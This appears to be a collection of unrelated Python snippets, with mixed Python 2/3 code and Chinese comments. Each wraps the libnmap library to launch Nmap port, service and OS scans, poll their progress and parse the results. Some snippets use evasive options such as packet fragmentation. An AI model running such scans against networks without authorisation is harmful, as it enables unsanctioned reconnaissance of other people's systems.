def do_scan(self, target, options="-n -sS --host-timeout 600 --open"):
# 记录结果
db = DB()
nmproc = NmapProcess(target, options)
nmproc.run_background()
while nmproc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmproc.etc, nmproc.progress))
time.sleep(2)
print("rc: {0} output: {1}".format(nmproc.rc, nmproc.summary))
try:
# 创建文件名
md5 = hashlib.md5()
md5.update(target)
hash = md5.hexdigest()
# with(open("data/nmap/" + hash + ".xml", "w")) as f:
# f.write(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
# 扫描完成,解析结果
print {"status": 1, "result": hash}
db.Nmap.update_one({"target": target},
{"$set": {
"status": 1,
"result": hash
}})
def udp_scan(self, udp_start, udp_end):
'''
udp端口扫描
:param udp_start:
:param udp_end:
:return: json
'''
nmap_proc = NmapProcess(targets=self.ip,
options='-sU -e ' + str(self.iface) + ' -p ' +
str(udp_start) + "-" + str(udp_end))
nmap_proc.run_background()
while nmap_proc.is_running() and stop == 0:
current = float(nmap_proc.progress) * self.udp_total * 0.01
self.udp_done.put(current)
time.sleep(3) # 3秒更新一次百分比
if stop == 1:
return
ScanEngine = nmap.PortScanner()
res = ScanEngine.analyse_nmap_xml_scan(nmap_proc.stdout)
udp_ports = []
if dict(res)['scan'] and res:
ret = dict(res)['scan'][self.ip]
if 'udp' in ret:
udp_ports = ret['udp']
for port in udp_ports:
if str(udp_ports[port]['name']) and 'open' in str(
udp_ports[port]["state"]):
self.result.put({
"ip": self.ip,
"port": str(port),
"protocol": "UDP",
"service": str(udp_ports[port]['name']),
"state": str(udp_ports[port]["state"])
})
self.udp_done.put(self.udp_total)
def scanByNmap(self, target, policy):
runtime = 0
try:
nmap_proc = NmapProcess(targets=target,
options=policy,
safe_mode=True)
nmap_proc.run_background()
while nmap_proc.is_running():
if runtime >= self.nmap_timeout:
nmap_proc.stop()
if self.output_mode != "silent":
print self.R + u'\n[x] scan_host {} timeout...'.format(
target) + self.W
break
else:
if self.output_mode != "silent":
sys.stdout.write(
u'\033[1;34m[~] scan_host is {},scan progress is {}%({} sec)\n\033[0m'
.format(target, nmap_proc.progress, runtime))
sys.stdout.flush()
sleep(5)
runtime += 5
if nmap_proc.is_successful() and nmap_proc.stdout:
self.parserReport(nmap_proc.stdout)
except Exception as e:
print e
def nmap_scan(targets):
# Nmap scan with service detection (-sV), script scanning (-sC) on all
# ports (-p-) and agressive timing (-T4)
nmap_proc = NmapProcess(targets,
options='-sV -sC -p- -T4',
safe_mode=False)
nmap_proc.run_background()
# Checks nmap progress every 30 seconds
print('Nmap start at {0}'.format(datetime.today().ctime()))
while nmap_proc.is_running():
nmaptask = nmap_proc.current_task
if nmaptask:
print("Task {0} {1} ({2}): Progress: {3}%".format(
len(nmap_proc.tasks) + 1, nmaptask.name, nmaptask.status,
nmaptask.progress))
sleep(30)
print(nmap_proc.summary)
try:
report = NmapParser.parse(nmap_proc.stdout)
except NmapParserException as e:
print('Exception raised while parsing scan: {0}'.format(e.msg))
if report.hosts_total == 0:
print('No hosts discovered')
sys.exit()
return report
def run_nmap_scan(scan_targets, scan_options):
'''
Accepts scan targets and scan options for NmapProcess and launches scan
Prints scan status updates and summary to stdout
Returns NmapProcess object for further use
TODO - catch keyboard interrupts and kill tasks so we can exit gracefully!
nmap_proc.stop does not appear to fully kill threads in script scans
so program will continue to execute but leaves an orphaned nmap process
'''
status_update_interval = 5
#Check for sudo and disable scan options that require root
if os.getuid() != 0:
logging.warn(
"Certain nmap scans require root privileges (SYN, UDP, ICMP, etc)..."
)
logging.warn(
"Disabling incompatible scan types and OS / service version detection options if enabled"
)
scan_options = scan_options.replace("-sS", "-sT")
scan_options = scan_options.replace("-sU", "")
scan_options = scan_options.replace("-sP", "")
scan_options = scan_options.replace("-sn", "")
scan_options = scan_options.replace("-sV", "")
scan_options = scan_options.replace("-O", "")
nmap_proc = NmapProcess(targets=scan_targets, options=scan_options)
print "Running scan command:\n" + nmap_proc.command
nmap_proc.run_background()
while nmap_proc.is_running():
try:
time.sleep(status_update_interval)
if nmap_proc.progress > 0:
#Nmap only updates ETC periodically and will sometimes return a result that is behind current system time
etctime = datetime.datetime.fromtimestamp(int(nmap_proc.etc))
systime = datetime.datetime.now().replace(microsecond=0)
if etctime < systime:
etctime = systime
timeleft = etctime - systime
print("{0} Timing: About {1}% done; ETC: {2} ({3} remaining)".
format(nmap_proc.current_task.name, nmap_proc.progress,
etctime, timeleft))
except KeyboardInterrupt:
print "Keyboard Interrupt - Killing Current Nmap Scan!"
nmap_proc.stop()
if nmap_proc.rc == 0:
print nmap_proc.summary + "\n"
else:
print nmap_proc.stderr + "\n"
return nmap_proc
def _run_scan(self):
nmap_proc = NmapProcess(targets=self._target, options="-Pn -sT -sU -p "+self._port)
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nmap_proc.etc,
nmap_proc.progress))
sleep(2)
if nmap_proc.rc != 0:
print("Nmap scan failed: {0}".format(nmap_proc.stderr))
sys.exit(2)
else:
return nmap_proc
def run_nmap_scan(scan_targets, scan_options):
'''
Accepts scan targets and scan options for NmapProcess and launches scan
Prints scan status updates and summary to stdout
Returns NmapProcess object for further use
TODO - catch keyboard interrupts and kill tasks so we can exit gracefully!
nmap_proc.stop does not appear to fully kill threads in script scans
so program will continue to execute but leaves an orphaned nmap process
'''
status_update_interval = 5
#Check for sudo and disable scan options that require root
if os.getuid()!=0:
logging.warn("Certain nmap scans require root privileges (SYN, UDP, ICMP, etc)...")
logging.warn("Disabling incompatible scan types and OS / service version detection options if enabled")
scan_options = scan_options.replace("-sS", "-sT")
scan_options = scan_options.replace("-sU", "")
scan_options = scan_options.replace("-sP", "")
scan_options = scan_options.replace("-sn", "")
scan_options = scan_options.replace("-sV", "")
scan_options = scan_options.replace("-O", "")
nmap_proc = NmapProcess(targets=scan_targets, options=scan_options)
print "Running scan command:\n"+nmap_proc.command
nmap_proc.run_background()
while nmap_proc.is_running():
try:
time.sleep(status_update_interval)
if nmap_proc.progress > 0:
#Nmap only updates ETC periodically and will sometimes return a result that is behind current system time
etctime = datetime.datetime.fromtimestamp(int(nmap_proc.etc))
systime = datetime.datetime.now().replace(microsecond=0)
if etctime < systime:
etctime = systime
timeleft = etctime - systime
print("{0} Timing: About {1}% done; ETC: {2} ({3} remaining)".format(nmap_proc.current_task.name, nmap_proc.progress, etctime, timeleft))
except KeyboardInterrupt:
print "Keyboard Interrupt - Killing Current Nmap Scan!"
nmap_proc.stop()
if nmap_proc.rc == 0:
print nmap_proc.summary + "\n"
else:
print nmap_proc.stderr + "\n"
return nmap_proc
def do_scan(self):
"""scan start flag"""
if(self._flg_is_scanning != True):
self._flg_is_scanning = True
if(self._flg_scan_finished != False):
self._flg_scan_finished = False
"""运行次数初始化"""
trycnt = 0
while True:
"""运行时间初始化"""
runtime = 0
if trycnt >= self.retrycnt:
print '-' * 50
return 'retry overflow'
try:
nmap_proc = NmapProcess(targets=self.targets,options=self.options,safe_mode=False)
self._flg_is_scanning = True
nmap_proc.run_background()
while(nmap_proc.is_running()):
"""运行超时，结束掉任务，休息1分钟，再重启这个nmap任务"""
if runtime >= self.timeout:
print '-' * 50
print "timeout....terminate it...."
nmap_proc.stop()
"""休眠时间"""
sleep(60)
trycnt += 1
break
else:
print 'running[%ss]:%s' %(runtime,nmap_proc.command)
sleep(5)
runtime += 5
if nmap_proc.is_successful():
"""scan finished flag"""
if(self._flg_is_scanning != False):
self._flg_is_scanning = False
if(self._flg_scan_finished != True):
self._flg_scan_finished = True
print '-' * 50
print nmap_proc.summary
return nmap_proc.stdout
except Exception,e:
print e
trycnt +=1
if trycnt >= retrycnt:
print '-' * 50
print 'retry overflow'
return e
def run_nmap_scan(self):
parsed = None
nmap_proc = NmapProcess(targets="10.10.10.3", options="")
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmap_proc.etc, nmap_proc.progress))
sleep(2)
nmap_report = NmapParser.parse(nmap_proc.stdout)
nmap_results = NmapResults()
nmap_results.add_hosts(nmap_report)
return nmap_results
def nmap_scan(ip,ports,taskid):
nmapscan.objects.create(ip=ip,task_id=taskid)
result = nmapscan.objects.get(task_id=taskid)
nmap_proc = NmapProcess(targets=ip, options='-sV -p '+ports)
nmap_proc.run_background()
while nmap_proc.is_running():
result.rate = str(nmap_proc.progress)
result.save()
time.sleep(2) # 两秒更新一次百分比
result.endtime = timezone.now()
result.save()
nm = nmap.PortScanner()
print(nm.analyse_nmap_xml_scan(nmap_proc.stdout))
def do_scan(targets, options):
parsed = None
nmap_proc = NmapProcess(targets="scanme.nmap.org",
options="-sS -sV -sC -O -nvvv -T4 -Pn")
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmap_proc.etc, nmap_proc.progress))
sleep(2)
print("rc: {0} output: {1}".format(nmap_proc.rc, nmap_proc.summary))
try:
parsed = NmapParser.parse(nmap_proc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
def default_scan(target_path):
# config parameters
sleep_interval = 10
# start scan
target_list = read_targets(target_path)
# heavy scan
# nmap_proc = NmapProcess(targets=target_list, options="-sS -n -PE -PP -PM -PO -PS21,22,23,25,80,113,31339 -PA80,"
# "113,443,10042 -O -T4 -p-")
# light scan
nmap_proc = NmapProcess(
targets=target_list,
options="-PE -PP -PM -PO -PS21,22,23,25,80,113,31339 -PA80,"
"113,443,10042 -O -T4")
# debug info
print("scan target:")
print(target_list)
print("command:")
print(nmap_proc.command)
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmap_proc.etc, nmap_proc.progress))
time.sleep(sleep_interval)
print("rc: {0} output: {1}".format(nmap_proc.rc, nmap_proc.summary))
# save to file
time_label = time.strftime("%Y%m%d%H%M%S", time.localtime())
with open('nmap_scan_' + time_label + '.xml', 'w') as f:
f.write(nmap_proc.stdout)
f.close()
try:
nmap_report = NmapParser.parse(nmap_proc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return None
print_scan(nmap_report)
return nmap_report
def do_nmap_scan(targets, port):
# 运行次数初始化
trycnt = 0
options = '-sT -P0 -sV -O --script=banner -p T:' + port.strip()
while True:
# 运行时间初始化
runtime = 0
if trycnt >= retrycnt:
print '-' * 50
return 'retry overflow'
try:
nmap_proc = NmapProcess(targets=targets,
options=options,
safe_mode=False,
fqp='/usr/bin/nmap')
nmap_proc.run_background()
while nmap_proc.is_running():
if runtime >= timeout: # 运行超时，结束掉任务，休息1分钟, 再重启这个nmap任务
print '-' * 50
print "* timeout. terminate it..."
nmap_proc.stop()
# 休眠时间
sleep(60)
trycnt += 1
break
else:
print 'running[%ss]:%s' % (runtime, nmap_proc.command)
sleep(5)
runtime += 5
if nmap_proc.is_successful():
print '-' * 50
print nmap_proc.summary
return nmap_proc.stdout
except Exception, e:
# raise e
print e
trycnt += 1
if trycnt >= retrycnt:
print '-' * 50
print '* retry overflow'
return e
def nmap_scan(target, commands):
nm = NmapProcess(target, commands)
#change to sudo_run(run_as='root') to run syn scans
nm.run_background()
command = nm.get_command_line()
print(command)
while nm.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nm.etc, nm.progress))
sleep(1)
nmap_report = NmapParser.parse(nm.stdout)
for host in nmap_report.hosts:
if host.status == 'up':
for serv in host.services:
# if serv.port == 'open':
service_check(host, serv)
print("Primary Scan Completed \n")
def nmap_scan(ip,ports,taskid):
scanIP.objects.get_or_create(ip=ip,task_id=taskid,scantime=datetime.datetime.now())
scan_ip_info.objects.filter(ipfor_id=scanIP.objects.get(ip=ip).id).delete()
result = scanIP.objects.get(ip=ip)
nmap_proc = NmapProcess(targets=ip, options='-sV -p '+ports)
nmap_proc.run_background()
while nmap_proc.is_running():
result.rate = str(nmap_proc.progress)
result.save()
time.sleep(2) # 两秒更新一次百分比
result.rate = str(nmap_proc.progress)
result.endtime = datetime.datetime.now()
result.save()
nm = nmap.PortScanner()
nmrs = nm.analyse_nmap_xml_scan(nmap_proc.stdout)
for port,v in nmrs['scan'][ip]['tcp'].items():
scan_ip_info.objects.get_or_create(port=port,name=v['name'],state=v['state'],product=v['product']+' '+v['version'],cpe=v['cpe'],ipfor_id=scanIP.objects.get(ip=ip).id)
def do_nmap_scan(targets, options=global_options):
# 运行次数初始化
trycnt = 0
while True:
# 运行时间初始化
runtime = 0
if trycnt >= retrycnt:
print('-' * 50)
return 'retry overflow'
try:
nmap_proc = NmapProcess(targets=targets,
options=options,
safe_mode=False)
nmap_proc.run_background()
while nmap_proc.is_running():
if runtime >= timeout: # 运行超时，结束掉任务，休息1分钟, 再重启这个nmap任务
print('-' * 50)
print("* timeout. terminate it...")
nmap_proc.stop()
# 休眠时间
sleep(5)
trycnt += 1
break
else:
print('running[%ss]:%s' % (runtime, nmap_proc.command))
sleep(5)
runtime += 5
if nmap_proc.is_successful():
print('-' * 50)
print(nmap_proc.summary)
return nmap_proc.stdout
except Exception as e:
# raise e
print(e)
trycnt += 1
if trycnt >= retrycnt:
print('-' * 50)
print('* retry overflow')
return e
def nmap_scan(self, target: Dict[str, str]) -> None:
"""
Nmap scan task. Handles one Nmap process to scan the provided host(s) or range(s).
Updates the host database when finished; may push status updates if invoked from web context.
:param target: Target hosts or ranges in a format suitable for Nmap.
"""
storage.incr('scan_in_progress')
options = Discovery.get_setting('scan_options')
ports = Discovery.get_setting('ports')
if ports:
options += ' -p' + ports
nm = NmapProcess(target['range'], options=options)
nm.run_background()
while nm.is_running():
self.update_state(state="PROGRESS",
meta={
'progress': nm.progress,
'target': target['name']
})
sleep(2)
try:
report = NmapParser.parse(nm.stdout)
except NmapParserException as e:
print(e)
h = [(host.address, {
str(p[0]): host.get_service(*p).get_dict()
for p in host.get_open_ports()
}) for host in report.hosts if host.is_up()]
hosts = {
host[0]: {
'ports': host[1],
'target': target['name']
}
for host in h
}
update_hosts(hosts)
storage.set('last_nmap_scan', int(time()))
if scan_in_progress() > 0:
storage.decr('scan_in_progress')
self.update_state(state="RESULTS",
meta={
'hosts': h,
'target': target['name']
})
def scan_background(targets,options='-O -sV'):
'''
后台执行扫描，带进度输出
:param targets:扫描的目标，可以是List集合对象也，可以是以逗号分隔的目标集合。如"baidu.com" ，["baidu.com","qq.com"] ，"baidu.com,qq.com"
:param options:扫描参数，同namp一致。
:return:成功返回扫描结果Dict对象，否则返回None
'''
try:
nmapProcess=NmapProcess(targets=targets,options=options)
nmapProcess.run_background()
while nmapProcess.is_running():
print("[*]Nmap Scan running: ETC: {0} DONE: {1}%".format(nmapProcess.etc,nmapProcess.progress))
sleep(1)
results=NmapParser.parse_fromstring(nmapProcess.stdout)
jsonData=json.loads(json.dumps(results,cls=ReportEncoder))
return jsonData
except Exception as e:
logging.error("Nmap scan error:{}".format(e))
return None
def do_nmap_scan(targets, options=global_options): # 运行次数初始化 trycnt = 0 while True: # 运行时间初始化 runtime = 0 if trycnt >= retrycnt: print '-' * 50 return 'retry overflow' try: nmap_proc = NmapProcess(targets=targets, options=options, safe_mode=False) nmap_proc.run_background() while nmap_proc.is_running(): if runtime >= timeout: # 运行超时，结束掉任务，休息1分钟, 再重启这个nmap任务 print '-' * 50 print "* timeout. terminate it..." nmap_proc.stop() # 休眠时间 sleep(60) trycnt += 1 break else: print 'running[%ss]:%s' % (runtime, nmap_proc.command) sleep(5) runtime += 5 if nmap_proc.is_successful(): print '-' * 50 print nmap_proc.summary return nmap_proc.stdout except Exception, e: # raise e print e trycnt += 1 if trycnt >= retrycnt: print '-' * 50 print '* retry overflow' return e
def scan_host(target_host, num_tries):
nm = NmapProcess(target_host, options='-sT -Pn -T3')
cur_try = 0
while cur_try < num_tries:
logger.debug(
"Now running scan attempt #%d for host at %s."
% (cur_try + 1, target_host)
)
result = nm.run_background()
while nm.is_running():
logger.debug(
"Scan running. ETC: %s. DONE: %s."
% (nm.etc, nm.progress)
)
sleep(2)
if nm.rc != 0:
logger.warning(
"Scan #%d for host at %s failed!"
% (cur_try + 1, target_host)
)
cur_try += 1
else:
logger.debug(
"Scan for host at %s succeeded!"
% (target_host,)
)
break
if str(nm.state) != str(nm.DONE):
logger.warning(
"Scan for host at %s failed!"
% (target_host,)
)
return
else:
try:
parsed = NmapParser.parse(nm.stdout)
except NmapParserException as e:
logger.error(
"NmapParserException thrown: %s."
% (e.msg,)
)
host = parsed.hosts[0]
to_return = []
for service in host.services:
to_return.append(
"%s//%s//%s//%s"
% (
host.ipv4,
service.protocol,
str(service.port),
service.state
)
)
return to_return
def run(self):
options = '-sT -sU -p{} -v -O'.format(','.join(self.ports))
logger.debug('Ip scan options: {!r}, ip_ranges: {}'.format(
options, self.ip_ranges))
nmp_proc = NmapProcess(self.ip_ranges, options)
nmp_proc.run_background()
while nmp_proc.is_running():
self.progress = float(nmp_proc.progress)
log = {'progress': self.progress, 'log': ''}
self._log(log)
time.sleep(self.loop_time)
if nmp_proc.rc == 0:
stdout = nmp_proc.stdout
self._result(stdout)
else:
sys.stderr.write(nmp_proc.stdout)
sys.stderr.close()
sys.exit(2)
def update_ip(self):
# hardcode it because I'm lazy AND it's a little tricky to discover from inside docker
subnet = "192.168.7.0/24"
nm = NmapProcess(subnet,
options="-T5 -n -p 8080 --open --min-parallelism 255")
nm.run_background()
while nm.is_running():
sleep(0.5)
nmap_report = NmapParser.parse(nm.stdout)
for host in nmap_report.hosts:
print(host.address)
rv = requests.get(f"http://{host.address}:8080/api/v1/status")
if rv.status_code == 200:
if 'BackupBuffer' in rv.json():
print("Found device")
self.ip = host.address
return
print("Unable to find any device")
self.ip = None
raise Exception("Unable to find device")
def run_nmap_scan(self, targets, options, scan_id):
print ('nmap targets: ' + str(targets) + ' nmap options: '+ str(options))
nmap_proc = NmapProcess(targets=targets, options=options)
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nmap_proc.etc, nmap_proc.progress))
sleep(7)
#Store in file
file_path = "/root/Desktop/FinalYearProjectRESTAPI/automated_scans/reports/"+str(scan_id)+".xml"
file = open(file_path, "w")
data = nmap_proc.stdout
file.write(data)
file.close()
print(data)
print(type(data))
return file_path
def do_scan(targets, options):
parsed = None
nmproc = NmapProcess(targets, options)
nmproc.run_background()
while nmproc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmproc.etc, nmproc.progress))
time.sleep(2)
rc = nmproc.rc
if rc != 0:
print("nmap scan failed: {0}".format(nmproc.stderr))
print(type(nmproc.stdout))
open('sasdsa', 'w').write(nmproc.stdout)
try:
parsed = NmapParser.parse(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
def do_nmap_scan(targets, options=NMAP_GLOBAL_OPTIONS):
# 运行次数初始化
trycnt = 0
while True:
# 运行时间初始化
runtime = 0
if trycnt >= NMAP_RETRYCNT:
print "-" * 50
return "retry overflow"
try:
nmap_proc = NmapProcess(targets=targets, options=options, safe_mode=False)
nmap_proc.run_background()
while nmap_proc.is_running():
if runtime >= NMAP_TIMEOUT: # 运行超时，结束掉任务，休息1分钟, 再重启这个nmap任务
print "-" * 50
print "* timeout. terminate it..."
nmap_proc.stop()
# 休眠时间
time.sleep(60)
trycnt += 1
break
else:
print "running[%ss]:%s" % (runtime, nmap_proc.command)
time.sleep(5)
runtime += 5
if nmap_proc.rc == 0:
return nmap_proc.stdout
except Exception, e:
# raise e
print e
trycnt += 1
if trycnt >= NMAP_RETRYCNT:
print "-" * 50
print "* retry overflow"
return e
def do_scan(self):
"""
对targets进行扫描，并返回探测结果
:param targets: 扫描目标
:param options: 扫描选项
:return:
"""
nmproc = NmapProcess(self.ip, self.options)
nmproc.run_background() # 在后台运行
while nmproc.is_running():
nmaptask = nmproc.current_task
if nmaptask:
print("Task {0} ({1}): ETC: {2} DONE: {3}%".format(
nmaptask.name, nmaptask.status, nmaptask.etc,
nmaptask.progress))
sleep(2)
self.raw_data = nmproc.stdout # 原始扫描数据
try:
self.parsed = NmapParser.parse(nmproc.stdout) # 解析扫描的数据
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return
def nmap_service_scan(host, service, command):
port = service.port
nm = NmapProcess(host.address, options=command + " -p " + str(port))
# change to sudo_run(run_as='root') to run syn scans
nm.run_background()
command = nm.get_command_line()
print(command)
while nm.is_running():
print("Nmap Service Scan running:" + host.address + " : " +
str(service.port) +
" ETC: {0} DONE: {1}%".format(nm.etc, nm.progress))
sleep(10)
nmap_report = NmapParser.parse(nm.stdout)
for host_service in nmap_report.hosts:
for serv in host_service.services:
pserv = "{0:>5s}/{1:3s} {2:12s} {3} ".format(
str(serv.port), host.address, serv.protocol, serv.state,
serv.service)
print(pserv)
for result in serv.scripts_results:
print(result["output"])
print("\n")
def run_nmscan(pid: int):
"""
When run, queries the process information by the id provided from the database.
Runs the test and returns the ouput of the test to the database
:param pid: Id of process to run
:return: None
"""
process = Process.query.filter_by(id=pid).first()
scan = Scan.query.filter_by(id=process.scan_id).first()
target_obj = Target.query.filter_by(id=scan.target_id).first()
target = target_obj.domain
nm = NmapProcess(targets=target, options="-sV -Pn -f --mtu 64 -p '*' -O")
rc = nm.run_background()
process.status = nm.state
process.progress = nm.progress
process.date_started = datetime.now().isoformat()
scan.date_started = datetime.now().isoformat()
db.session.commit()
if nm.has_failed():
process.output = "nmap scan failed: {0}".format(nm.stderr)
db.session.commit()
return 1
while nm.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nm.etc,
nm.progress))
if int(scan.progress) < int(float(nm.progress)):
process.progress = int(float(nm.progress))
scan.progress = int(float(nm.progress))
db.session.commit()
sleep(5)
process.date_completed = datetime.now().isoformat()
scan.date_completed = datetime.now().isoformat()
if nm.has_failed():
process.status = nm.state
scan.status = nm.state
process.output = str(nm.stderr)
elif nm.is_successful():
process.status = 3
scan.status = 3
scan.progress = 100
nmap_full_output = json.dumps(cb.data(fromstring(str(nm.stdout))))
nmap_output = Nmap.parse_nmap_output(nmap_full_output)
if nmap_output:
process.output = json.dumps(nmap_output)
scan.output = json.dumps(nmap_output)
else:
scan.output = None
db.session.commit()
def do_scan(targets, options):
parsed = None
nmap_proc = NmapProcess(targets, options)
print("Starting scanning with Nmap ( http://nmap.org )")
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
datetime.datetime.fromtimestamp(float(
nmap_proc.etc)).strftime('%Y-%m-%d %H:%M:%S'),
nmap_proc.progress))
sleep(5)
#print("#####################")
if nmap_proc.rc != 0:
print("nmap scan failed: {0}".format(nmap_proc.stderr))
#print (type(nmap_proc.stdout))
try:
parsed = NmapParser.parse(nmap_proc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan {0}".format(e.msg))
return parsed, nmap_proc.stdout
class ScanEngine(object):
def __init__(self,config):
self.engine = NmapProcess(config.targets, config.options)
def run(self):
"""Execute scan"""
syslog.syslog("Starting scan")
self.engine.run_background()
while self.engine.is_running():
time.sleep(15)
print "Scan is %s percent complete" % self.engine.progress
syslog.syslog("Completed scan")
def process(self):
"""parse and pre-process scan results"""
try:
self.parsed = NmapParser.parse(self.engine.stdout)
syslog.syslog("Processing output")
except Exception as e:
syslog.syslog("Failed to parse output"+e)
for h in self.parsed.hosts:
print h.address
def do_scan(targets, options):
parsed = None
nmproc = NmapProcess(targets, options)
#rc = nmproc.run()
rc = nmproc.run_background()
while nmproc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nmproc.etc,nmproc.progress))
sleep(2)
#print(type(nmproc.stdout))
file = open(output_name+'.xml','w')
file.write(nmproc.stdout)
file.close()
try:
parsed = NmapParser.parse(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
def do_scan(targets, options):
parsed = None
nmproc = NmapProcess(targets, options)
rc = nmproc.run_background()
while nmproc.is_running():
print("Nmap Scan is running: ETC: {0} DONE: {1}%".format(nmproc.etc, nmproc.progress))
sleep(2)
print("rc: {0} output: {1}".format(nmproc.rc, nmproc.summary))
if rc != 0:
print("nmap scan failed: {0}".format(nmproc.stderr))
print(type(nmproc.stdout))
try:
parsed = NmapParser.parse(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
def do_scan(targets, options):
parsed = None
nmproc = NmapProcess(targets, options)
rc = nmproc.run_background()
while nmproc.is_running():
print("Nmap Scan is running: ETC: {0} DONE: {1}%".format(
nmproc.etc, nmproc.progress))
sleep(2)
print("rc: {0} output: {1}".format(nmproc.rc, nmproc.summary))
if rc != 0:
print("nmap scan failed: {0}".format(nmproc.stderr))
print(type(nmproc.stdout))
try:
parsed = NmapParser.parse(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
#!/usr/bin/env python
from libnmap.process import NmapProcess
from time import sleep
nmap_proc = NmapProcess(targets="scanme.nmap.org", options="-sT")
nmap_proc.run_background()
while nmap_proc.is_running():
nmaptask = nmap_proc.current_task
if nmaptask:
print "Task {0} ({1}): ETC: {2} DONE: {3}%".format(nmaptask.name,
nmaptask.status,
nmaptask.etc,
nmaptask.progress)
sleep(0.5)
print "rc: {0} output: {1}".format(nmap_proc.rc, nmap_proc.summary)
print nmap_proc.stdout
def scan():
ttype = input(
"Please select the type of target to scan: \n 1. Manually Enter Target(s) \n 2. Select File Containing Targets (The file should be new line or comma seperated) \n > "
)
if ttype == '1': # When a Single target is to be scanned
targ = input(
"Please enter your target to scan: (Ex: mysite.com or 192.168.1.1, scanme.nmap.org or 192.168.1.*) \n > "
)
nswitch = input(
"\n Please select nmap switches you wish to use: (Ex: -sV -Pn -A) \n > "
)
if targ != '':
try:
nmap_proc = NmapProcess(targets=targ, options=nswitch)
nmap_proc.run_background()
except PermissionError:
print(
"Please make sure Nmap is installed and/or is accessible \n"
)
input("Press Enter to exit.")
exit()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmap_proc.etc, nmap_proc.progress))
sleep(
10
) # Adjust this value in order to change how frequently the progress output is printed on terminal.
print("rc: {0} output: {1}".format(nmap_proc.rc,
nmap_proc.summary))
print(nmap_proc.stderr)
return nmap_proc.stdout
else:
print("Please select correct value \n")
redo = scan()
# Triggered when multiple targets are to be slected
elif ttype == '2':
floc = input("Input File Path (Press Enter Key to browse your PC): ")
if floc == '':
tkwindow = tkinter.Tk()
tkwindow.withdraw() # Used to Hide the tkinter window.
filename = filedialog.askopenfilename(
initialdir="/",
title="Select Your File",
filetypes=(("Txt Files", "*.txt"), ("All Files", "*.*")))
print("The File you selected is: " + filename)
targets = targ_to_list(filename)
nswitch = input(
"\n Please select nmap switches you wish to use: \n > ")
try:
nmap_proc = NmapProcess(targets=targets, options=nswitch)
nmap_proc.run_background()
except PermissionError:
print("Please make sure Nmap is installed and/or accessible.")
input("Press Enter to exit.")
exit()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmap_proc.etc, nmap_proc.progress))
sleep(
10
) # Adjust this value in order to change how frequently the progress output is printed on terminal.
print("rc: {0} output: {1}".format(nmap_proc.rc,
nmap_proc.summary))
print(nmap_proc.stderr)
return nmap_proc.stdout
else:
print(floc)
else:
print("Please select a correct option!")
redo = scan()
# -*- coding: utf-8 -*-
from libnmap.process import NmapProcess
from libnmap.parser import NmapParser
from time import sleep
import sys
import socket
if len(sys.argv) >= 2:
mac = sys.argv[1]
try:
ip = sys.argv[2]
except:
ip = socket.gethostbyname(socket.gethostname()) #local ip
else:
print("Insert MAC Address to search")
sys.exit(0)
nm = NmapProcess(ip+"/24",options="-sP")
nm.run_background()
while nm.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nm.etc,nm.progress))
sleep(2)
nmap_report = NmapParser.parse(nm.stdout)
res = list(filter(lambda n:n.mac == mac.strip().upper(), filter(lambda host:host.is_up(), nmap_report.hosts)))
if res ==[]:
print("Host is down or Mac address not exist")
else:
print("MAC: {} with IP {}".format(mac, res[0].address))
class NmapAdapter(ToolAdapter):
@log(logger)
def __init__(self, ip, commandline=None):
if self.is_valid_ip(ip):
self.ip = ip
else:
raise ValueError
if commandline:
self.commandline = commandline
else:
self.commandline = '-sV'
self.nmproc = NmapProcess(self.ip, self.commandline)
@log(logger)
def start(self):
logger.info('nmap started on IP {}'.format(self.ip))
rc = self.nmproc.run_background()
if self.nmproc.stderr:
logger.critical('nmap has failed: {0}'.format(self.nmproc.stderr))
print('nmap scan has failed:', self.nmproc.stderr)
def status(self):
if self.nmproc.is_running():
return 'running: {0}%'.format(self.nmproc.progress)
else:
if self.nmproc.has_failed():
return 'failed'
elif self.nmproc.is_successful():
return 'finished (successfully)'
else:
return 'stopped'
@log(logger)
def stop(self):
if self.nmproc.is_running():
self.nmproc.stop()
@log(logger)
def get_result_json(self):
report = None
try:
report = NmapParser.parse(self.nmproc.stdout)
except NmapParserException as e:
logger.critical("Exception raised while parsing scan: {0}".format(
e.msg))
print("Exception raised while parsing scan: {0}".format(e.msg))
return None
report_dict = {}
report_dict['starttime'] = report.started
report_dict['endtime'] = report.endtime
report_dict['host'] = self.ip
host = report.hosts[0]
report_dict['hoststatus'] = host.status
services = []
for serv in host.services:
service = {}
service['port'] = serv.port
service['protocol'] = serv.protocol
service['state'] = serv.state
service['service'] = serv.service
if len(serv.banner):
service['banner'] = serv.banner
if len(serv.cpelist):
cpe = {}
cpe['part'] = serv.cpelist[0].get_part()
